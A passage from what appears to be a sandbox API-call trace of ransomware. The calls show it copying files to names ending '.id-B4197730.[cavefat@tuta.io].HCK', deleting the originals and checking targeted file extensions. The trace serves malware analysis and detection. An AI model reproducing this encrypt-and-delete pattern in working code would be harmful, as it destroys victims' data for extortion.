dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.473] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.473] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0149.475] GetLastError () returned 0x0 [0149.475] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0x9882, lpOverlapped=0x0) returned 1 [0149.477] WriteFile (in: hFile=0x30c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x9890, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0x9890, lpOverlapped=0x0) returned 1 [0149.478] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.478] WriteFile (in: hFile=0x30c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0xe8, lpOverlapped=0x0) returned 1 [0149.478] SetEndOfFile (hFile=0x30c) returned 1 [0149.478] CloseHandle (hObject=0x30c) returned 1 [0149.479] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.479] SetEndOfFile (hFile=0x2ec) returned 1 [0149.480] CloseHandle (hObject=0x2ec) returned 1 [0149.480] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.481] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\client\\uiinfo.xml")) returned 1 [0149.481] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0149.481] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0149.481] lstrlenW (lpString=".doc") returned 4 [0149.481] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.481] lstrlenW (lpString=".docx") returned 5 [0149.481] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0149.481] lstrlenW (lpString=".pdf") returned 4 [0149.482] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.482] lstrlenW (lpString=".xls") returned 4 [0149.482] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.482] lstrlenW (lpString=".xlsx") returned 5 [0149.482] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0149.482] lstrlenW (lpString=".ppt") returned 4 [0149.482] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.482] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0149.482] lstrlenW (lpString=".zip") returned 4 [0149.482] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.482] lstrlenW (lpString=".rar") returned 4 [0149.482] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.482] lstrlenW (lpString=".bz2") returned 4 [0149.482] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.482] lstrlenW (lpString=".7z") returned 3 [0149.482] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.482] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0149.482] lstrlenW (lpString=".dbf") returned 4 [0149.482] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.482] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0149.482] lstrlenW (lpString=".1cd") returned 4 [0149.482] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.482] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0149.482] lstrlenW (lpString=".jpg") returned 4 [0149.482] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.482] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0149.482] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0149.482] lstrlenW (lpString=".doc") returned 4 [0149.482] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.482] lstrlenW (lpString=".docx") returned 5 [0149.482] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0149.482] lstrlenW (lpString=".pdf") returned 4 [0149.482] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.483] lstrlenW (lpString=".xls") returned 4 [0149.483] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.483] lstrlenW (lpString=".xlsx") returned 5 [0149.483] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0149.483] lstrlenW (lpString=".ppt") returned 4 [0149.483] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.483] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0149.483] lstrlenW (lpString=".zip") returned 4 [0149.483] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.483] lstrlenW (lpString=".rar") returned 4 [0149.483] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.483] lstrlenW (lpString=".bz2") returned 4 [0149.483] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.483] lstrlenW (lpString=".7z") returned 3 [0149.483] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.483] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0149.483] lstrlenW (lpString=".dbf") returned 4 [0149.483] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.483] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0149.483] lstrlenW (lpString=".1cd") returned 4 [0149.483] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.483] lstrlenW (lpString="C:\\588bce7c90097ed212\\Client\\UiInfo.xml") returned 39 [0149.483] lstrlenW (lpString=".jpg") returned 4 [0149.483] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.483] lstrcmpiW (lpString1=".html", lpString2=".HCK") returned 1 [0149.483] lstrlenW (lpString="DHtmlHeader.html") returned 16 [0149.483] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0149.484] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=16118) returned 1 [0149.484] CloseHandle (hObject=0x2ec) returned 1 [0149.484] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 0x80 [0149.484] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.484] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0149.484] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.484] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.484] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0149.484] GetLastError () returned 0x0 [0149.485] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0x3ef6, lpOverlapped=0x0) returned 1 [0149.743] WriteFile (in: hFile=0x30c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x3f00, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0x3f00, lpOverlapped=0x0) returned 1 [0149.799] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.799] WriteFile (in: hFile=0x30c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0xf4, lpOverlapped=0x0) returned 1 [0149.800] SetEndOfFile (hFile=0x30c) returned 1 [0149.801] CloseHandle (hObject=0x30c) returned 1 [0149.801] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.801] SetEndOfFile (hFile=0x2ec) returned 1 [0149.802] CloseHandle (hObject=0x2ec) returned 1 [0149.802] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.803] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\DHtmlHeader.html" (normalized: "c:\\588bce7c90097ed212\\dhtmlheader.html")) returned 1 [0149.803] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0149.803] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0149.803] lstrlenW (lpString=".doc") returned 4 [0149.803] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0149.803] lstrlenW (lpString=".docx") returned 5 [0149.803] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0149.803] lstrlenW (lpString=".pdf") returned 4 [0149.803] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0149.803] lstrlenW (lpString=".xls") returned 4 [0149.803] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0149.803] lstrlenW (lpString=".xlsx") returned 5 [0149.803] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0149.803] lstrlenW (lpString=".ppt") returned 4 [0149.803] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0149.803] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0149.803] lstrlenW (lpString=".zip") returned 4 [0149.803] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0149.803] lstrlenW (lpString=".rar") returned 4 [0149.803] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0149.803] lstrlenW (lpString=".bz2") returned 4 [0149.803] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0149.803] lstrlenW (lpString=".7z") returned 3 [0149.803] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0149.803] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0149.803] lstrlenW (lpString=".dbf") returned 4 [0149.803] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0149.803] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0149.803] lstrlenW (lpString=".1cd") returned 4 [0149.803] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0149.803] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0149.803] lstrlenW (lpString=".jpg") returned 4 [0149.803] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0149.804] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0149.804] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0149.804] lstrlenW (lpString=".doc") returned 4 [0149.804] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0149.804] lstrlenW (lpString=".docx") returned 5 [0149.804] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0149.804] lstrlenW (lpString=".pdf") returned 4 [0149.804] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0149.804] lstrlenW (lpString=".xls") returned 4 [0149.804] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0149.804] lstrlenW (lpString=".xlsx") returned 5 [0149.804] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0149.804] lstrlenW (lpString=".ppt") returned 4 [0149.804] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0149.804] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0149.804] lstrlenW (lpString=".zip") returned 4 [0149.804] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0149.804] lstrlenW (lpString=".rar") returned 4 [0149.804] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0149.804] lstrlenW (lpString=".bz2") returned 4 [0149.804] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0149.804] lstrlenW (lpString=".7z") returned 3 [0149.804] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0149.804] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0149.804] lstrlenW (lpString=".dbf") returned 4 [0149.804] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0149.804] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0149.804] lstrlenW (lpString=".1cd") returned 4 [0149.804] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0149.804] lstrlenW (lpString="C:\\588bce7c90097ed212\\DHtmlHeader.html") returned 38 [0149.804] lstrlenW (lpString=".jpg") returned 4 [0149.804] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0149.804] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0149.804] lstrlenW (lpString="ParameterInfo.xml") returned 17 [0149.804] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0149.805] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=272046) returned 1 [0149.805] CloseHandle (hObject=0x2ec) returned 1 [0149.805] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml")) returned 0x80 [0149.805] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.805] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0149.805] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.805] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.805] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0149.805] GetLastError () returned 0x0 [0149.805] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0x426ae, lpOverlapped=0x0) returned 1 [0149.811] WriteFile (in: hFile=0x30c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x426b0, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0x426b0, lpOverlapped=0x0) returned 1 [0149.815] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.815] WriteFile (in: hFile=0x30c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0xf6, lpOverlapped=0x0) returned 1 [0149.815] SetEndOfFile (hFile=0x30c) returned 1 [0149.815] CloseHandle (hObject=0x30c) returned 1 [0149.820] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.820] SetEndOfFile (hFile=0x2ec) returned 1 [0149.822] CloseHandle (hObject=0x2ec) returned 1 [0149.822] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.822] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml")) returned 1 [0149.823] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0149.823] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0149.823] lstrlenW (lpString=".doc") returned 4 [0149.823] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.823] lstrlenW (lpString=".docx") returned 5 [0149.823] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0149.823] lstrlenW (lpString=".pdf") returned 4 [0149.823] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.823] lstrlenW (lpString=".xls") returned 4 [0149.823] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.823] lstrlenW (lpString=".xlsx") returned 5 [0149.823] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0149.823] lstrlenW (lpString=".ppt") returned 4 [0149.823] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.823] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0149.823] lstrlenW (lpString=".zip") returned 4 [0149.823] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.823] lstrlenW (lpString=".rar") returned 4 [0149.823] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.823] lstrlenW (lpString=".bz2") returned 4 [0149.823] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.823] lstrlenW (lpString=".7z") returned 3 [0149.823] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.823] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0149.823] lstrlenW (lpString=".dbf") returned 4 [0149.823] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.823] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0149.823] lstrlenW (lpString=".1cd") returned 4 [0149.823] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.823] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0149.823] lstrlenW (lpString=".jpg") returned 4 [0149.823] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.823] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0149.823] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0149.823] lstrlenW (lpString=".doc") returned 4 [0149.823] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0149.823] lstrlenW (lpString=".docx") returned 5 [0149.823] lstrcmpiW (lpString1=".docx", lpString2="o.xml") returned -1 [0149.823] lstrlenW (lpString=".pdf") returned 4 [0149.823] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0149.823] lstrlenW (lpString=".xls") returned 4 [0149.823] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0149.823] lstrlenW (lpString=".xlsx") returned 5 [0149.823] lstrcmpiW (lpString1=".xlsx", lpString2="o.xml") returned -1 [0149.823] lstrlenW (lpString=".ppt") returned 4 [0149.823] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0149.823] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0149.823] lstrlenW (lpString=".zip") returned 4 [0149.823] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0149.824] lstrlenW (lpString=".rar") returned 4 [0149.824] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0149.824] lstrlenW (lpString=".bz2") returned 4 [0149.824] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0149.824] lstrlenW (lpString=".7z") returned 3 [0149.824] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0149.824] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0149.824] lstrlenW (lpString=".dbf") returned 4 [0149.824] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0149.824] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0149.824] lstrlenW (lpString=".1cd") returned 4 [0149.824] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0149.824] lstrlenW (lpString="C:\\588bce7c90097ed212\\ParameterInfo.xml") returned 39 [0149.824] lstrlenW (lpString=".jpg") returned 4 [0149.824] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0149.824] lstrcmpiW (lpString1=".xsd", lpString2=".HCK") returned 1 [0149.824] lstrlenW (lpString="SetupUi.xsd") returned 11 [0149.824] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0149.824] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x338ff14 | out: lpFileSize=0x338ff14*=30120) returned 1 [0149.824] CloseHandle (hObject=0x2ec) returned 1 [0149.824] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd")) returned 0x80 [0149.824] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.824] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0149.824] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.825] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.825] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0149.825] GetLastError () returned 0x0 [0149.825] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0x75a8, lpOverlapped=0x0) returned 1 [0149.827] WriteFile (in: hFile=0x30c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x75b0, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0x75b0, lpOverlapped=0x0) returned 1 [0149.828] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x338fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x338fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.828] WriteFile (in: hFile=0x30c, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x338fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x338fc94*=0xea, lpOverlapped=0x0) returned 1 [0149.828] SetEndOfFile (hFile=0x30c) returned 1 [0149.828] CloseHandle (hObject=0x30c) returned 1 [0149.829] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x338fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.829] SetEndOfFile (hFile=0x2ec) returned 1 [0149.830] CloseHandle (hObject=0x2ec) returned 1 [0149.830] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.830] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd")) returned 1 [0149.830] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0149.830] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUi.xsd") returned 33 [0149.831] lstrlenW (lpString=".doc") returned 4 [0149.831] lstrcmpiW (lpString1=".doc", lpString2=".xsd") returned -1 [0149.831] lstrlenW (lpString=".docx") returned 5 [0149.831] lstrcmpiW (lpString1=".docx", lpString2="i.xsd") returned -1 [0149.831] lstrlenW (lpString=".pdf") returned 4 [0149.831] lstrcmpiW (lpString1=".pdf", lpString2=".xsd") returned -1 [0149.831] lstrlenW (lpString=".xls") returned 4 [0149.831] lstrcmpiW (lpString1=".xls", lpString2=".xsd") returned -1 [0149.831] lstrlenW (lpString=".xlsx") returned 